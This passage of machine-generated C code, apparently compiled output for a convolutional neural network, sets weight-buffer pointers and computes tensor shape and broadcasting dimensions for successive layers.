x5+7179712;\nbool x18649 = x18570 == 1;\nbool x18650 = x18649 || true;\nbool x18651 = x18650 || x18649;\nbool x18661 = x18570 <= 1;\nint32_t x18662;\nif (x18661) {\nx18662 = 1;\n} else {\nx18662 = x18570;\n}\nint32_t x18668 = x18662 * x18662;\nint32_t x18672;\nif (x18649) {\nx18672 = 0;\n} else {\nx18672 = x18570;\n}\nint32_t x18673;\nif (x18649) {\nx18673 = 0;\n} else {\nx18673 = 1;\n}\nfloat* x209 = x5+7443904;\nfloat* x272 = x5+7444928;\nbool x18752 = x18662 == 1;\nbool x18753 = x18752 || true;\nbool x18754 = x18753 || x18752;\nbool x18764 = x18662 <= 1;\nint32_t x18765;\nif (x18764) {\nx18765 = 1;\n} else {\nx18765 = x18662;\n}\nint32_t x18771 = x18765 * x18765;\nint32_t x18776;\nif (x18752) {\nx18776 = 0;\n} else {\nx18776 = x18662;\n}\nint32_t x18777;\nif (x18752) {\nx18777 = 0;\n} else {\nx18777 = 1;\n}\nbool x18840 = x18765 == 1;\nbool x18841 = x18840 || true;\nbool x18842 = x18841 || x18840;\nbool x18852 = x18765 <= 1;\nint32_t x18853;\nif (x18852) {\nx18853 = 1;\n} else {\nx18853 = x18765;\n}\nint32_t x18859 = x18853 * x18853;\nint32_t x18864;\nif (x18840) {\nx18864 = 0;\n} else {\nx18864 = x18765;\n}\nint32_t x18865;\nif (x18840) {\nx18865 = 0;\n} else {\nx18865 = 1;\n}\nfloat* x59 = x5+7441856;\nbool x18928 = x18853 == 1;\nbool x18929 = x18928 || true;\nbool x18930 = x18929 || x18928;\nbool x18940 = x18853 <= 1;\nint32_t x18941;\nif (x18940) {\nx18941 = 1;\n} else {\nx18941 = x18853;\n}\nint32_t x18947 = x18941 * x18941;\nint32_t x18952;\nif (x18928) {\nx18952 = 0;\n} else {\nx18952 = x18853;\n}\nint32_t x18953;\nif (x18928) {\nx18953 = 0;\n} else {\nx18953 = 1;\n}\nfloat* x120 = x5+7442880;\nbool x18991 = x18941 == 1;\nbool x18992 = x18991 || x17579;\nbool x18993 = x18941 == x17529;\nbool x18994 = x18992 || x18993;\nbool x19004 = x18941 <= x17529;\nint32_t x19005;\nif (x19004) {\nx19005 = x17529;\n} else {\nx19005 = x18941;\n}\nint32_t x19020;\nif (x18991) {\nx19020 = 0;\n} else {\nx19020 = x18941;\n}\nint32_t x19021;\nif (x18991) {\nx19021 = 0;\n} else {\nx19021 = 1;\n}\nint32_t x19067 = x18941 - 1;\nint32_t x19068 = x19067 / 1;\nint32_t x19069 = x19068 + 1;\nint32_t x19073 = 16384 * x19069;\nint32_t x19074 = x19073 * x19069;\nint32_t x19070 = x19069 * x19069;\nint32_t x19071 = 256 * x19070;\nfloat* x151 = x5+7445952;\nbool x19148 = x19069 == 1;\nbool x19149 = x19148 || true;\nbool x19150 = x19149 || x19148;\nbool x19160 = x19069 <= 1;\nint32_t x19161;\nif (x19160) {\nx19161 = 1;\n} else {\nx19161 = x19069;\n}\nint32_t x19167 = x19161 * x19161;\nint32_t x19171;\nif (x19148) {\nx19171 = 0;\n} else {\nx19171 = x19069;\n}\nint32_t x19172;\nif (x19148) {\nx19172 = 0;\n} else {\nx19172 = 1;\n}\nfloat* x80 = x5+7708608;\nfloat* x176 = x5+7708864;\nbool x19251 = x19161 == 1;\nbool x19252 = x19251 || true;\nbool x19253 = x19252 || x19251;\nbool x19263 = x19161 <= 1;\nint32_t x19264;\nif (x19263) {\nx19264 = 1;\n} else {\nx19264 = x19161;\n}\nint32_t x19270 = x19264 * x19264;\nint32_t x19275;\nif (x19251) {\nx19275 = 0;\n} else {\nx19275 = x19161;\n}\nint32_t x19276;\nif (x19251) {\nx19276 = 0;\n} else {\nx19276 = 1;\n}\nbool x19339 = x19264 == 1;\nbool x19340 = x19339 || true;\nbool x19341 = x19340 || x19339;\nbool x19351 = x19264 <= 1;\nint32_t x19352;\nif (x19351) {\nx19352 = 1;\n} else {\nx19352 = x19264;\n}\nint32_t x19358 = x19352 * x19352;\nint32_t x19363;\nif (x19339) {\nx19363 = 0;\n} else {\nx19363 = x19264;\n}\nint32_t x19364;\nif (x19339) {\nx19364 = 0;\n} else {\nx19364 = 1;\n}\nfloat* x85 = x5+7708096;\nbool x19427 = x19352 == 1;\nbool x19428 = x19427 || true;\nbool x19429 = x19428 || x19427;\nbool x19439 = x19352 <= 1;\nint32_t x19440;\nif (x19439) {\nx19440 = 1;\n} else {\nx19440 = x19352;\n}\nint32_t x19446 = x19440 * x19440;\nint32_t x19451;\nif (x19427) {\nx19451 = 0;\n} else {\nx19451 = x19352;\n}\nint32_t x19452;\nif (x19427) {\nx19452 = 0;\n} else {\nx19452 = 1;\n}\nfloat* x253 = x5+7708352;\nint32_t x19499 = x19440 + 2;\nint32_t x19500 = x19499 - 3;\nint32_t x19501 = x19500 / 1;\nint32_t x19502 = x19501 + 1;\nint32_t x19506 = 16384 * x19502;\nint32_t x19507 = x19506 * x19502;\nint32_t x19503 = x19502 * x19502;\nint32_t x19504 = 256 * x19503;\nfloat* x226 = x5+7709120;\nbool x19629 = x19502 == 1;\nbool x19630 = x19629 || true;\nbool x19631 = x19630 || x19629;\nbool x19641 = x19502 <= 1;\nint32_t x19642;\nif (x19641) {\nx19642 = 1;\n} else {\nx19642 = x19502;\n}\nint32_t x19648 = x19642 * x19642;\nint32_t x19652;\nif (x19629) {\nx19652 = 0;\n} else {\nx19652 = x19502;\n}\nint32_t x19653;\nif (x19629) {\nx19653 = 0;\n} else {\nx19653 = 1;\n}\nfloat* x70 = x5+8299456;\nfloat* x240 = x5+8299712;\nbool x19732 = x19642 == 1;\nbool x19733 = x19732 || true;\nbool x19734 = x19733 || x19732;\nbool x19744 = x19642 <= 1;\nint32_t x19745;\nif (x19744) {\nx19745 = 1;\n} else {\nx19745 = x19642;\n}\nint32_t x19751 = x19745 * x19745;\nint32_t x19756;\nif (x19732) {\nx19756 = 0;\n} else {\nx19756 = x19642;\n}\nint32_t x19757;\nif (x19732) {\nx19757 = 0;\n} else {\nx19757 = 1;\n}\nbool x19820 = x19745 == 1;\nbool x19821 = x19820 || true;\nbool x19822 = x19821 || x19820;\nbool x19832 = x19745 <= 1;\nint32_t x19833;\nif (x19832) {\nx19833 = 1;\n} else {\nx19833 = x19745;\n}\nint32_t x19839 = x19833 * x19833;\nint32_t x19844;\nif (x19820) {\nx19844 = 0;\n} else {\nx19844 = x19745;\n}\nint32_t x19845;\nif (x19820) {\nx19845 = 0;\n} else {\nx19845 = 1;\n}\nfloat* x141 = x5+8298944;\nbool x19908 = x19833 == 1;\nbool x19909 = x19908 || true;\nbool x19910 = x19909 || x19908;\nbool x19920 = x19833 <= 1;\nint32_t x19921;\nif (x19920) {\nx19921 = 1;\n} else {\nx19921 = x19833;\n}\nint32_t x19927 = x19921 * x19921;\nint32_t x19932;\nif (x19908) {\nx19932 = 0;\n} else {\nx19932 = x19833;\n}\nint32_t x19933;\nif (x19908) {\nx19933 = 0;\n} else {\nx19933 = 1;\n}\nfloat* x189 = x5+8299200;\nint32_t x19980 = x19921 - 1;\nint32_t x19981 = x19980 / 1;\nint32_t x19982 = x19981 + 1;\nint32_t x19986 = 65536 * x19982;\nint32_t x19987 = x19986 * x19982;\nint32_t x19983 = x19982 * x19982;\nint32_t x19984 = 1024 * x19983;\nfloat* x97 = x5+8299968;\nbool x20061 = x19982 == 1;\nbool x20062 = x20061 || true;\nbool x20063 = x20062 || x20061;\nbool x20073 = x19982 <= 1;\nint32_t x20074;\nif (x20073) {\nx20074 = 1;\n} else {\nx20074 = x19982;\n}\nint32_t x20080 = x20074 * x20074;\nint32_t x20084;\nif (x20061) {\nx20084 = 0;\n} else {\nx20084 = x19982;\n}\nint32_t x20085;\nif (x20061) {\nx20085 = 0;\n} else {\nx20085 = 1;\n}\nfloat* x122 = x5+8564160;\nfloat* x183 = x5+8565184;\nbool x20164 = x20074 == 1;\nbool x20165 = x20164 || true;\nbool x20166 = x20165 || x20164;\nbool x20176 = x20074 <= 1;\nint32_t x20177;\nif (x20176) {\nx20177 = 1;\n} else {\nx20177 = x20074;\n}\nint32_t x20183 = x20177 * x20177;\nint32_t x20188;\nif (x20164) {\nx20188 = 0;\n} else {\nx20188 = x20074;\n}\nint32_t x20189;\nif (x20164) {\nx20189 = 0;\n} else {\nx20189 = 1;\n}\nbool x20252 = x20177 == 1;\nbool x20253 = x20252 || true;\nbool x20254 = x20253 || x20252;\nbool x20264 = x20177 <= 1;\nint32_t x20265;\nif (x20264) {\nx20265 = 1;\n} else {\nx20265 = x20177;\n}\nint32_t x20271 = x20265 * x20265;\nint32_t x20276;\nif (x20252) {\nx20276 = 0;\n} else {\nx20276 = x20177;\n}\nint32_t x20277;\nif (x20252) {\nx20277 = 0;\n} else {\nx20277 = 1;\n}\nfloat* x248 = x5+8562112;\nbool x20340 = x20265 == 1;\nbool x20341 = x20340 || true;\nbool x20342 = x20341 || x20340;\nbool x20352 = x20265 <= 1;\nint32_t x20353;\nif (x20352) {\nx20353 = 1;\n} else {\nx20353 = x20265;\n}\nint32_t x20359 = x20353 * x20353;\nint32_t x20364;\nif (x20340) {\nx20364 = 0;\n} else {\nx20364 = x20265;\n}\nint32_t x20365;\nif (x20340) {\nx20365 = 0;\n} else {\nx20365 = 1;\n}\nfloat* x93 = x5+8563136;\nbool x20403 = x20353 == 1;\nbool x20404 = x20403 || x18991;\nbool x20405 = x20353 == x18941;\nbool x20406 = x20404 || x20405;\nbool x20416 = x20353 <= x18941;\nint32_t x20417;\nif (x20416) {\nx20417 = x18941;\n} else {\nx20417 = x20353;\n}\nint32_t x20432;\nif (x20403) {\nx20432 = 0;\n} else {\nx20432 = x20353;\n}\nint32_t x20433;\nif (x20403) {\nx20433 = 0;\n} else {\nx20433 = 1;\n}\nint32_t x20479 = x20353 - 1;\nint32_t x20480 = x20479 / 1;\nint32_t x20481 = x20480 + 1;\nint32_t x20485 = 32768 * x20481;\nint32_t x20486 = x20485 * x20481;\nint32_t x20482 = x20481 * x20481;\nint32_t x20483 = 512 * x20482;\nfloat* x139 = x5+8566208;\nbool x20560 = x20481 == 1;\nbool x20561 = x20560 || true;\nbool x20562 = x20561 || x20560;\nbool x20572 = x20481 <= 1;\nint32_t x20573;\nif (x20572) {\nx20573 = 1;\n} else {\nx20573 = x20481;\n}\nint32_t x20579 = x20573 * x20573;\nint32_t x20583;\nif (x20560) {\nx20583 = 0;\n} else {\nx20583 = x20481;\n}\nint32_t x20584;\nif (x20560) {\nx20584 = 0;\n} else {\nx20584 = 1;\n}\nfloat* x67 = x5+9091520;\nfloat* x121 = x5+9092032;\nbool x20663 = x20573 == 1;\nbool x20664 = x20663 || true;\nbool x20665 = x20664 || x20663;\nbool x20675 = x20573 <= 1;\nint32_t x20676;\nif (x20675) {\nx20676 = 1;\n} else {\nx20676 = x20573;\n}\nint32_t x20682 = x20676 * x20676;\nint32_t x20687;\nif (x20663) {\nx20687 = 0;\n} else {\nx20687 = x20573;\n}\nint32_t x20688;\nif (x20663) {\nx20688 = 0;\n} else {\nx20688 = 1;\n}\nbool x20751 = x20676 == 1;\nbool x20752 = x20751 || true;\nbool x20753 = x20752 || x20751;\nbool x20763 = x20676 <= 1;\nint32_t x20764;\nif (x20763) {\nx20764 = 1;\n} else {\nx20764 = x20676;\n}\nint32_t x20770 = x20764 * x20764;\nint32_t x20775;\nif (x20751) {\nx20775 = 0;\n} else {\nx20775 = x20676;\n}\nint32_t x20776;\nif (x20751) {\nx20776 = 0;\n} else {\nx20776 = 1;\n}\nfloat* x201 = x5+9090496;\nbool x20839 = x20764 == 1;\nbool x20840 = x20839 || true;\nbool x20841 = x20840 || x20839;\nbool x20851 = x20764 <= 1;\nint32_t x20852;\nif (x20851) {\nx20852 = 1;\n} else {\nx20852 = x20764;\n}\nint32_t x20858 = x20852 * x20852;\nint32_t x20863;\nif (x20839) {\nx20863 = 0;\n} else {\nx20863 = x20764;\n}\nint32_t x20864;\nif (x20839) {\nx20864 = 0;\n} else {\nx20864 = 1;\n}\nfloat* x224 = x5+9091008;\nint32_t x20911 = x20852 + 2;\nint32_t x20912 = x20911 - 3;\nint32_t x20913 = x20912 / 2;\nint32_t x20914 = x20913 + 1;\nint32_t x20918 = 32768 * x20914;\nint32_t x20919 = x20918 * x20914;\nint32_t x20915 = x20914 * x20914;\nint32_t x20916 = 512 * x20915;\nfloat* x34 = x5+9092544;\nbool x21025 = x20914 == 1;\nbool x21026 = x21025 || true;\nbool x21027 = x21026 || x21025;\nbool x21037 = x20914 <= 1;\nint32_t x21038;\nif (x21037) {\nx21038 = 1;\n} else {\nx21038 = x20914;\n}\nint32_t x21044 = x21038 * x21038;\nint32_t x21048;\nif (x21025) {\nx21048 = 0;\n} else {\nx21048 = x20914;\n}\nint32_t x21049;\nif (x21025) {\nx21049 = 0;\n} else {\nx21049 = 1;\n}\nfloat* x113 = x5+11452864;\nfloat* x50 = x5+11453376;\nbool x21128 = x21038 == 1;\nbool x21129 = x21128 || true;\nbool x21130 = x21129 || x21128;\nbool x21140 = x21038 <= 1;\nint32_t x21141;\nif (x21140) {\nx21141 = 1;\n} else {\nx21141 = x21038;\n}\nint32_t x21147 = x21141 * x21141;\nint32_t x21152;\nif (x21128) {\nx21152 = 0;\n} else {\nx21152 = x21038;\n}\nint32_t x21153;\nif (x21128) {\nx21153 = 0;\n} else {\nx21153 = 1;\n}\nbool x21216 = x21141 == 1;\nbool x21217 = x21216 || true;\nbool x21218 = x21217 || x21216;\nbool x21228 = x21141 <= 1;\nint32_t x21229;\nif (x21228) {\nx21229 = 1;\n} else {\nx21229 = x21141;\n}\nint32_t x21235 = x21229 * x21229;\nint32_t x21240;\nif (x21216) {\nx21240 = 0;\n} else {\nx21240 = x21141;\n}\nint32_t x21241;\nif (x21216) {\nx21241 = 0;\n} else {\nx21241 = 1;\n}\nfloat* x205 = x5+11451840;\nbool x21304 = x21229 == 1;\nbool x21305 = x21304 || true;\nbool x21306 = x21305 || x21304;\nbool x21316 = x21229 <= 1;\nint32_t x21317;\nif (x21316) {\nx21317 = 1;\n} else {\nx21317 = x21229;\n}\nint32_t x21323 = x21317 * x21317;\nint32_t x21328;\nif (x21304) {\nx21328 = 0;\n} else {\nx21328 = x21229;\n}\nint32_t x21329;\nif (x21304) {\nx21329 = 0;\n} else {\nx21329 = 1;\n}\nfloat* x159 = x5+11452352;\nint32_t x21376 = x21317 - 1;\nint32_t x21377 = x21376 / 1;\nint32_t x21378 = x21377 + 1;\nint32_t x21382 = 131072 * x21378;\nint32_t x21383 = x21382 * x21378;\nint32_t x21379 = x21378 * x21378;\nint32_t x21380 = 2048 * x21379;\nfloat* x212 = x5+11453888;\nbool x21457 = x21378 == 1;\nbool x21458 = x21457 || true;\nbool x21459 = x21458 || x21457;\nbool x21469 = x21378 <= 1;\nint32_t x21470;\nif (x21469) {\nx21470 = 1;\n} else {\nx21470 = x21378;\n}\nint32_t x21476 = x21470 * x21470;\nint32_t x21480;\nif (x21457) {\nx21480 = 0;\n} else {\nx21480 = x21378;\n}\nint32_t x21481;\nif (x21457) {\nx21481 = 0;\n} else {\nx21481 = 1;\n}\nfloat* x115 = x5+12506560;\nfloat* x193 = x5+12508608;\nbool x21561 = x21470 == 1;\nbool x21562 = x21561 || true;\nbool x21563 = x21562 || x21561;\nbool x21573 = x21470 <= 1;\nint32_t x21574;\nif (x21573) {\nx21574 = 1;\n} else {\nx21574 = x21470;\n}\nint32_t x21580 = x21574 * x21574;\nint32_t x21585;\nif (x21561) {\nx21585 = 0;\n} else {\nx21585 = x21470;\n}\nint32_t x21586;\nif (x21561) {\nx21586 = 0;\n} else {\nx21586 = 1;\n}\nbool x21649 = x21574 == 1;\nbool x21650 = x21649 || true;\nbool x21651 = x21650 || x21649;\nbool x21661 = x21574 <= 1;\nint32_t x21662;\nif (x21661) {\nx21662 = 1;\n} else {\nx21662 = x21574;\n}\nint32_t x21668 = x21662 * x21662;\nint32_t x21673;\nif (x21649) {\nx21673 = 0;\n} else {\nx21673 = x21574;\n}\nint32_t x21674;\nif (x21649) {\nx21674 = 0;\n} else {\nx21674 = 1;\n}\nfloat* x239 = x5+12502464;\nbool x21737 = x21662 == 1;\nbool x21738 = x21737 || true;\nbool x21739 = x21738 || x21737;\nbool x21749 = x21662 <= 1;\nint32_t x21750;\nif (x21749) {\nx21750 = 1;\n} else {\nx21750 = x21662;\n}\nint32_t x21756 = x21750 * x21750;\nint32_t x21761;\nif (x21737) {\nx21761 = 0;\n} else {\nx21761 = x21662;\n}\nint32_t x21762;\nif (x21737) {\nx21762 = 0;\n} else {\nx21762 = 1;\n}\nfloat* x62 = x5+12504512;\nint32_t x21796 = x20479 / 2;\nint32_t x21797 = x21796 + 1;\nint32_t x21801 = 131072 * x21797;\nint32_t x21802 = x21801 * x21797;\nint32_t x21798 = x21797 * x21797;\nint32_t x21799 = 2048 * x21798;\nfloat* x214 = x5+12510656;\nbool x21882 = x21797 == 1;\nbool x21883 = x21882 || true;\nbool x21884 = x21883 || x21882;\nbool x21894 = x21797 <= 1;\nint32_t x21895;\nif (x21894) {\nx21895 = 1;\n} else {\nx21895 = x21797;\n}\nint32_t x21901 = x21895 * x21895;\nint32_t x21905;\nif (x21882) {\nx21905 = 0;\n} else {\nx21905 = x21797;\n}\nint32_t x21906;\nif (x21882) {\nx21906 = 0;\n} else {\nx21906 = 1;\n}\nfloat* x64 = x5+14611904;\nfloat* x125 = x5+14613952;\nbool x21985 = x21895 == 1;\nbool x21986 = x21985 || true;\nbool x21987 = x21986 || x21985;\nbool x21997 = x21895 <= 1;\nint32_t x21998;\nif (x21997) {\nx21998 = 1;\n} else {\nx21998 = x21895;\n}\nint32_t x22004 = x21998 * x21998;\nint32_t x22009;\nif (x21985) {\nx22009 = 0;\n} else {\nx22009 = x21895;\n}\nint32_t x22010;\nif (x21985) {\nx22010 = 0;\n} else {\nx22010 = 1;\n}\nbool x22073 = x21998 == 1;\nbool x22074 = x22073 || true;\nbool x22075 = x22074 || x22073;\nbool x22085 = x21998 <= 1;\nint32_t x22086;\nif (x22085) {\nx22086 = 1;\n} else {\nx22086 = x21998;\n}\nint32_t x22092 = x22086 * x22086;\nint32_t x22097;\nif (x22073) {\nx22097 = 0;\n} else {\nx22097 = x21998;\n}\nint32_t x22098;\nif (x22073) {\nx22098 = 0;\n} else {\nx22098 = 1;\n}\nfloat* x173 = x5+14607808;\nbool x22161 = x22086 == 1;\nbool x22162 = x22161 || true;\nbool x22163 = x22162 || x22161;\nbool x22173 = x22086 <= 1;\nint32_t x22174;\nif (x22173) {\nx22174 = 1;\n} else {\nx22174 = x22086;\n}\nint32_t x22180 = x22174 * x22174;\nint32_t x22185;\nif (x22161) {\nx22185 = 0;\n} else {\nx22185 = x22086;\n}\nint32_t x22186;\nif (x22161) {\nx22186 = 0;\n} else {\nx22186 = 1;\n}\nfloat* x107 = x5+14609856;\nbool x22225 = x21750 == 1;\nbool x22226 = x22174 == 1;\nbool x22227 = x22225 || x22226;\nbool x22228 = x21750 == x22174;\nbool x22229 = x22227 || x22228;\nbool x22239 = x21750 <= x22174;\nint32_t x22240;\nif (x22239) {\nx22240 = x22174;\n} else {\nx22240 = x21750;\n}\nint32_t x22255;\nif (x22225) {\nx22255 = 0;\n} else {\nx22255 = x21750;\n}\nint32_t x22256;\nif (x22225) {\nx22256 = 0;\n} else {\nx22256 = 1;\n}\nint32_t x22258;\nif (x22226) {\nx22258 = 0;\n} else {\nx22258 = x22174;\n}\nint32_t x22259;\nif (x22226) {\nx22259 = 0;\n} else {\nx22259 = 1;\n}\nint32_t x22305 = x21750 - 1;\nint32_t x22306 = x22305 / 1;\nint32_t x22307 = x22306 + 1;\nint32_t x22311 = 32768 * x22307;\nint32_t x22312 = x22311 * x22307;\nint32_t x22308 = x22307 * x22307;\nint32_t x22309 = 512 * x22308;\nfloat* x215 = x5+14616000;\nbool x22386 = x22307 == 1;\nbool x22387 = x22386 || true;\nbool x22388 = x22387 || x22386;\nbool x22398 = x22307 <= 1;\nint32_t x22399;\nif (x22398) {\nx22399 = 1;\n} else {\nx22399 = x22307;\n}\nint32_t x22405 = x22399 * x22399;\nint32_t x22409;\nif (x22386) {\nx22409 = 0;\n} else {\nx22409 = x22307;\n}\nint32_t x22410;\nif (x22386) {\nx22410 = 0;\n} else {\nx22410 = 1;\n}\nfloat* x154 = x5+15665600;\nfloat* x65 = x5+15666112;\nbool x22489 = x22399 == 1;\nbool x22490 = x22489 || true;\nbool x22491 = x22490 || x22489;\nbool x22501 = x22399 <= 1;\nint32_t x22502;\nif (x22501) {\nx22502 = 1;\n} else {\nx22502 = x22399;\n}\nint32_t x22508 = x22502 * x22502;\nint32_t x22513;\nif (x22489) {\nx22513 = 0;\n} else {\nx22513 = x22399;\n}\nint32_t x22514;\nif (x22489) {\nx22514 = 0;\n} else {\nx22514 = 1;\n}\nbool x22577 = x22502 == 1;\nbool x22578 = x22577 || true;\nbool x22579 = x22578 || x22577;\nbool x22589 = x22502 <= 1;\nint32_t x22590;\nif (x22589) {\nx22590 = 1;\n} else {\nx22590 = x22502;\n}\nint32_t x22596 = x22590 * x22590;\nint32_t x22601;\nif (x22577) {\nx22601 = 0;\n} else {\nx22601 = x22502;\n}\nint32_t x22602;\nif (x22577) {\nx22602 = 0;\n} else {\nx22602 = 1;\n}\nfloat* x46 = x5+15664576;\nbool x22665 = x22590 == 1;\nbool x22666 = x22665 || true;\nbool x22667 = x22666 || x22665;\nbool x22677 = x22590 <= 1;\nint32_t x22678;\nif (x22677) {\nx22678 = 1;\n} else {\nx22678 = x22590;\n}\nint32_t x22684 = x22678 * x22678;\nint32_t x22689;\nif (x22665) {\nx22689 = 0;\n} else {\nx22689 = x22590;\n}\nint32_t x22690;\nif (x22665) {\nx22690 = 0;\n} else {\nx22690 = 1;\n}\nfloat* x137 = x5+15665088;\nint32_t x22737 = x22678 + 2;\nint32_t x22738 = x22737 - 3;\nint32_t x22739 = x22738 / 1;\nint32_t x22740 = x22739 + 1;\nint32_t x22744 = 32768 * x22740;\nint32_t x22745 = x22744 * x22740;\nint32_t x22741 = x22740 * x22740;\nint32_t x22742 = 512 * x22741;\nfloat* x155 = x5+15666624;\nbool x22867 = x22740 == 1;\nbool x22868 = x22867 || true;\nbool x22869 = x22868 || x22867;\nbool x22879 = x22740 <= 1;\nint32_t x22880;\nif (x22879) {\nx22880 = 1;\n} else {\nx22880 = x22740;\n}\nint32_t x22886 = x22880 * x22880;\nint32_t x22890;\nif (x22867) {\nx22890 = 0;\n} else {\nx22890 = x22740;\n}\nint32_t x22891;\nif (x22867) {\nx22891 = 0;\n} else {\nx22891 = 1;\n}\nfloat* x138 = x5+18026944;\nfloat* x195 = x5+18027456;\nbool x22970 = x22880 == 1;\nbool x22971 = x22970 || true;\nbool x22972 = x22971 || x22970;\nbool x22982 = x22880 <= 1;\nint32_t x22983;\nif (x22982) {\nx22983 = 1;\n} else {\nx22983 = x22880;\n}\nint32_t x22989 = x22983 * x22983;\nint32_t x22994;\nif (x22970) {\nx22994 = 0;\n} else {\nx22994 = x22880;\n}\nint32_t x22995;\nif (x22970) {\nx22995 = 0;\n} else {\nx22995 = 1;\n}\nbool x23058 = x22983 == 1;\nbool x23059 = x23058 || true;\nbool x23060 = x23059 || x23058;\nbool x23070 = x22983 <= 1;\nint32_t x23071;\nif (x23070) {\nx23071 = 1;\n} else {\nx23071 = x22983;\n}\nint32_t x23077 = x23071 * x23071;\nint32_t x23082;\nif (x23058) {\nx23082 = 0;\n} else {\nx23082 = x22983;\n}\nint32_t x23083;\nif (x23058) {\nx23083 = 0;\n} else {\nx23083 = 1;\n}\nfloat* x160 = x5+18025920;\nbool x23146 = x23071 == 1;\nbool x23147 = x23146 || true;\nbool x23148 = x23147 || x23146;\nbool x23158 = x23071 <= 1;\nint32_t x23159;\nif (x23158) {\nx23159 = 1;\n} else {\nx23159 = x23071;\n}\nint32_t x23165 = x23159 * x23159;\nint32_t x23170;\nif (x23146) {\nx23170 = 0;\n} else {\nx23170 = x23071;\n}\nint32_t x23171;\nif (x23146) {\nx23171 = 0;\n} else {\nx23171 = 1;\n}\nfloat* x66 = x5+18026432;\nint32_t x23218 = x23159 - 1;\nint32_t x23219 = x23218 / 1;\nint32_t x23220 = x23219 + 1;\nint32_t x23224 = 131072 * x23220;\nint32_t x23225 = x23224 * x23220;\nint32_t x23221 = x23220 * x23220;\nint32_t x23222 = 2048 * x23221;\nfloat* x47 = x5+18027968;\nbool x23299 = x23220 == 1;\nbool x23300 = x23299 || true;\nbool x23301 = x23300 || x23299;\nbool x23311 = x23220 <= 1;\nint32_t x23312;\nif (x23311) {\nx23312 = 1;\n} else {\nx23312 = x23220;\n}\nint32_t x23318 = x23312 * x23312;\nint32_t x23322;\nif (x23299) {\nx23322 = 0;\n} else {\nx23322 = x23220;\n}\nint32_t x23323;\nif (x23299) {\nx23323 = 0;\n} else {\nx23323 = 1;\n}\nfloat* x68 = x5+19080640;\nfloat* x245 = x5+19082688;\nbool x23402 = x23312 == 1;\nbool x23403 = x23402 || true;\nbool x23404 = x23403 || x23402;\nbool x23414 = x23312 <= 1;\nint32_t x23415;\nif (x23414) {\nx23415 = 1;\n} else {\nx23415 = x23312;\n}\nint32_t x23421 = x23415 * x23415;\nint32_t x23426;\nif (x23402) {\nx23426 = 0;\n} else {\nx23426 = x23312;\n}\nint32_t x23427;\nif (x23402) {\nx23427 = 0;\n} else {\nx23427 = 1;\n}\nbool x23490 = x23415 == 1;\nbool x23491 = x23490 || true;\nbool x23492 = x23491 || x23490;\nbool x23502 = x23415 <= 1;\nint32_t x23503;\nif (x23502) {\nx23503 = 1;\n} else {\nx23503 = x23415;\n}\nint32_t x23509 = x23503 * x23503;\nint32_t x23514;\nif (x23490) {\nx23514 = 0;\n} else {\nx23514 = x23415;\n}\nint32_t x23515;\nif (x23490) {\nx23515 = 0;\n} else {\nx23515 = 1;\n}\nfloat* x94 = x5+19076544;\nbool x23578 = x23503 == 1;\nbool x23579 = x23578 || true;\nbool x23580 = x23579 || x23578;\nbool x23590 = x23503 <= 1;\nint32_t x23591;\nif (x23590) {\nx23591 = 1;\n} else {\nx23591 = x23503;\n}\nint32_t x23597 = x23591 * x23591;\nint32_t x23602;\nif (x23578) {\nx23602 = 0;\n} else {\nx23602 = x23503;\n}\nint32_t x23603;\nif (x23578) {\nx23603 = 0;\n} else {\nx23603 = 1;\n}\nfloat* x144 = x5+19078592;\nbool x23641 = x23591 == 1;\nbool x23642 = x23641 || x22225;\nbool x23643 = x23591 == x21750;\nbool x23644 = x23642 || x23643;\nbool x23654 = x23591 <= x21750;\nint32_t x23655;\nif (x23654) {\nx23655 = x21750;\n} else {\nx23655 = x23591;\n}\nint32_t x23670;\nif (x23641) {\nx23670 = 0;\n} else {\nx23670 = x23591;\n}\nint32_t x23671;\nif (x23641) {\nx23671 = 0;\n} else {\nx23671 = 1;\n}\nint32_t x23717 = x23591 - 1;\nint32_t x23718 = x23717 / 1;\nint32_t x23719 = x23718 + 1;\nint32_t x23723 = 32768 * x23719;\nint32_t x23724 = x23723 * x23719;\nint32_t x23720 = x23719 * x23719;\nint32_t x23721 = 512 * x23720;\nfloat* x265 = x5+19084736;\nbool x23798 = x23719 == 1;\nbool x23799 = x23798 || true;\nbool x23800 = x23799 || x23798;\nbool x23810 = x23719 <= 1;\nint32_t x23811;\nif (x23810) {\nx23811 = 1;\n} else {\nx23811 = x23719;\n}\nint32_t x23817 = x23811 * x23811;\nint32_t x23821;\nif (x23798) {\nx23821 = 0;\n} else {\nx23821 = x23719;\n}\nint32_t x23822;\nif (x23798) {\nx23822 = 0;\n} else {\nx23822 = 1;\n}\nfloat* x213 = x5+20134336;\nfloat* x255 = x5+20134848;\nbool x23901 = x23811 == 1;\nbool x23902 = x23901 || true;\nbool x23903 = x23902 || x23901;\nbool x23913 = x23811 <= 1;\nint32_t x23914;\nif (x23913) {\nx23914 = 1;\n} else {\nx23914 = x23811;\n}\nint32_t x23920 = x23914 * x23914;\nint32_t x23925;\nif (x23901) {\nx23925 = 0;\n} else {\nx23925 = x23811;\n}\nint32_t x23926;\nif (x23901) {\nx23926 = 0;\n} else {\nx23926 = 1;\n}\nbool x23989 = x23914 == 1;\nbool x23990 = x23989 || true;\nbool x23991 = x23990 || x23989;\nbool x24001 = x23914 <= 1;\nint32_t x24002;\nif (x24001) {\nx24002 = 1;\n} else {\nx24002 = x23914;\n}\nint32_t x24008 = x24002 * x24002;\nint32_t x24013;\nif (x23989) {\nx24013 = 0;\n} else {\nx24013 = x23914;\n}\nint32_t x24014;\nif (x23989) {\nx24014 = 0;\n} else {\nx24014 = 1;\n}\nfloat* x15 = x5+20133312;\nbool x24077 = x24002 == 1;\nbool x24078 = x24077 || true;\nbool x24079 = x24078 || x24077;\nbool x24089 = x24002 <= 1;\nint32_t x24090;\nif (x24089) {\nx24090 = 1;\n} else {\nx24090 = x24002;\n}\nint32_t x24096 = x24090 * x24090;\nint32_t x24101;\nif (x24077) {\nx24101 = 0;\n} else {\nx24101 = x24002;\n}\nint32_t x24102;\nif (x24077) {\nx24102 = 0;\n} else {\nx24102 = 1;\n}\nfloat* x78 = x5+20133824;\nint32_t x24149 = x24090 + 2;\nint32_t x24150 = x24149 - 3;\nint32_t x24151 = x24150 / 1;\nint32_t x24152 = x24151 + 1;\nint32_t x24156 = 32768 * x24152;\nint32_t x24157 = x24156 * x24152;\nint32_t x24153 = x24152 * x24152;\nint32_t x24154 = 512 * x24153;\nfloat* x28 = x5+20135360;\nbool x24279 = x24152 == 1;\nbool x24280 = x24279 || true;\nbool x24281 = x24280 || x24279;\nbool x24291 = x24152 <= 1;\nint32_t x24292;\nif (x24291) {\nx24292 = 